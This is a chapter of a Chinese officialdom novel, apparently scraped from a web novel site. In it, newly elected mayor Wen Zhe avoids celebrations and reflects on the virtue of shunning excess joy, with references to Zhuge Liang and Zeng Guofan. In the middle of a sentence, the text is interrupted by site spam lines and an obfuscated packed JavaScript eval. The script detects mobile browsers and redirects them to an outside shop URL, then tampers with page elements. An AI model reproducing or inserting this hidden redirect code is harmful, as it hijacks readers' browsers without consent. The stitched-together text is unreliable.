闻哲注意到，方明远始终没有来医院。他自然理解，方明远同他理解的一样，他们之间的关系，无需以虚礼来维系。
今天上午他当选市长，就让梅江涛、陈东门赶到长宁。他让梅江涛继续当他的秘书，而陈东门也继续当司机。梅江涛同他去扶云、鼎元新区的选择，优势是显现出来了。因为下到县里，在新区，他才能在短短两年多时间，完成到正科级的飞跃。而新区办公室主任助理的资历，也为他在市政府能快速当上副秘书长垫定了基础。
从市妇幼保健院出来时，夜色已浓得化不开。陈东门把车悄无声息的停在门口。闻哲上车，就接通了方明远的电话：
“方市长，有些工作上的事，还想请您指教呀。”
方明远笑道：
“在医院忙完了？不急，明天我们碰一下。晚上吧，到我家来。不，不是**楼那边。我在外面有个住的地方，很少有人知道。在郊区独山下的一个小院子，叫‘清茗轩’。明天吧，你晚上过来一起吃顿饭，我们聊聊天。”
“如果方便，我想中午就过去，行么？”
“呵呵，我现在闲人一个，有什么不方便。倒是你，又当爸爸又当市长，是怕你忙不过来。”
“那好，我中午一定到。”
闻哲放下手机，才感觉浑身的酸疼和疲倦。陈东门从后视镜看看闻哲，说：
“领导，直接回家？”
“嗯，想休息了。”
“新区的一些领导，没有参加会的，也有许多人赶到长宁了。”
闻哲一愣，忙问：
“哪些人？他们大老远的跑来干什么，不要上班吗？”
“呵，领导，明天是星期六呀，大家也是想来祝贺您嘛。主要是新区的，还有扶云县的。有扶云县的，有县委**郭庆东、纪委**钟家俊、政法委**王永刚、组织部部长梁家宝**主任舒向军。还有县政府办的陈默、县财政局的林远、县局的江大维。新区是周则副主任、齐童苇局长、刘兰局长、童刚勇局长，还有苏燕局长。”
闻哲苦笑着摇摇头，大家的心意他能理解，可是这个时候一窝蜂的到长宁来，真是有些惹人注目呀。
他拿出手机，给邹辉明打了电话：
“邹主任，你通知一下来了长宁的扶云县和新区的同志。明天中午，到点石茶餐厅吃饭，不要到我家去的。茶餐厅那边，你让黄县长安排，他和王玉总熟悉。”
“我知道了，我现在同周主任他们在一起。”
闻哲想到，这个
你身边有不少朋友还没看到本章呢，快去给他们剧透吧
时候，估计还有人在等着向他祝贺。
“小陈，我们不回别墅了。到长宁宾馆，我们今天在那里休息。叫上梅江涛、齐童苇一起去。”
“是。”
陈东门又笑道：
“我小时候在村里，见过年过九十的老人，是从来不做寿的。我爷爷说是避喜惜福、躲寿添寿哩。还有人家里喜事连连的，也十分小心、低调，不敢过分招摇，生怕福多招祸、喜多招灾。”
闻哲打了个机灵，陈东门的话，正说中了他的心事。
“小陈，先把车开到江边，我想一个人静一静。”
陈东门见时间已经是子夜时分，犹豫了一下，才拐弯往宁江偏僻的江边开去，停在一个没有人烟的荒凉之处。
闻哲并没有下车，只是想静下来，梳理一下这段时间的事情，调整一下自己的心态。
他知道，“避喜惜福”是中国古代是融合了儒、道、佛思想，围绕“福分有限、过喜招损”形成的一套处世智慧，核心是通过克制欲望、低调行事来守护已有福气，避免福尽灾至。恰好体现了中国人对“福”的理性认知，不追求极致的喜悦，不炫耀已有的幸运，而是以敬畏心守护当下。
“避喜惜福”的的传统理论，主要源于三大思想体系，各有侧重但相互呼应。一是儒家的“中庸与慎独”。儒家强调“中庸之道”，认为“过犹不及”，过度的喜悦会让人偏离理性，导致言行失当。同时提倡“慎独”，要求在无人监督时仍保持克制，不因福运而张扬，避免“满招损”。
二是道家的“祸福相依与知足”。《道德经》上说“福兮祸所伏，祸兮福所倚”，认为福气与灾祸相互转化。过度追求或享受喜悦，会打破事物的平衡，引发灾祸。因此主张“知足常足，知止不殆”，通过节制欲望来守住福气。三是佛家的“无常观与惜福戒贪。”佛家认为一切事物皆“无常”，福分也会随因缘变化而消逝。因此提倡“惜福”，即珍惜当下的资源与幸运，不浪费、不贪求；同时“避喜”，不沉迷于短暂的快乐，避免因执着于“喜”而产生烦恼。
想到这些，闻哲打了个冷战，突然感觉这段时间的自己，天天紧绷着神经，处于一种“无我”的境界。虽然他自己觉得这种“无我”是无私欲的，但是仍然是一种膨胀。
陈东门绝对是一个聪明而对自己忠心耿耿的属下。他不敢正面劝谏自己，只是说他老家的事而寓喻。
“避喜”与“惜福”的双重维度二者并非割裂，而是“守护福气”的一体两面，前者是行为准则，后
如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦
者是内在态度。避喜是为了避免过度喜悦、炫耀福气，防止“乐极生悲”。不张扬成功或好运，喜事中保持低调，如古人办喜事不铺张浪费，避免因一时得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16594278|158808||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
意而放松警惕，如“得意忘形”。
而惜福则是珍视已有的福气与资源，不挥霍、不轻视。如日常生活节俭，如“一粥一饭当思来之不易”；感恩小事，如对他人的帮助、自然的馈赠心怀感激，不贪求额外的福运，如不沉迷于侥幸的成功。
这一智慧渗透在古人的日常生活与行为规范中，成为一种文化共识。
在民间，形成民间禁忌，如忌讳在喜事中说不吉利的话，避免“乐极生悲”；过年时打碎器物要念叨“岁岁平安”，以克制的态度化解意外，守护福气。许多古人将此家训教化,许多家训中强调“惜福”。
闻哲想起很早就会背诵的诸葛亮的《诫子书》，此时不禁在防中默念。
“夫君子之行，静以修身，俭以养德。非淡泊无以明志，非宁静无以致远。夫学须静也，才须学也，非学无以广才，非志无以成学。淫慢则不能励精，险躁则不能治性。年与时驰，意与日去，遂成枯落，多不接世，悲守穷庐，将复何及！”
他的脑子清醒了几分，见陈东门一直在看着他，便笑道：
“小陈知道曾国藩吗？”
“知道，读过他的家书和传记？”
“哦？”这让闻哲有些意外，又说：
“曾国藩这个人，可以说将‘避喜惜福’的理念贯穿其一生，既体现在日常衣食住行的极致节俭中，也渗透于对家人的严苛教诲和对官场浮沉的清醒认知。”
“是呀，曾国藩每日饮食仅一荤，有客来才稍增菜量，时人戏称其为‘一品宰相’。后来当了两江总督任上，他仍要求家人‘夜饭不荤’，俭朴的有些变态了。”
闻哲赞扬说：
“小陈，不错、不错。爱读书永远是一个好习惯。我到时候给你开个书单子，你找齐了，有时间就读书，好吗？”
“好。谢谢领导。”
闻哲看着天上的点点寒星冷月，又说：
“他在家书中写道说过，家门太盛则必衰，吾辈宜常存敬畏之心，也是深知福兮祸所伏的道理。他自己的居处命名为‘求阙斋’，刻意追求‘缺陷’，认为‘时时求全，即使得全，悔和凶就随之而来。’”
陈东门说：
“我爷爷经常用他的话教训我们晚辈，说‘有福不可享尽，有势不可使尽。’说唯有‘花未全开月未圆’才是长久之道。”
闻哲点点头，说：
“你打电话给那些扶云、新区的来看我的人，我一个也不会见，没有什么理由。告诉黄瑞庆，也不用安排饭。所有的人也不准到我家或者医院去，说的直率一点。”
“是！”
闻哲交待完，靠在座椅上闭目养神，右手却在大腿上反复写着两个字：
“慎独。”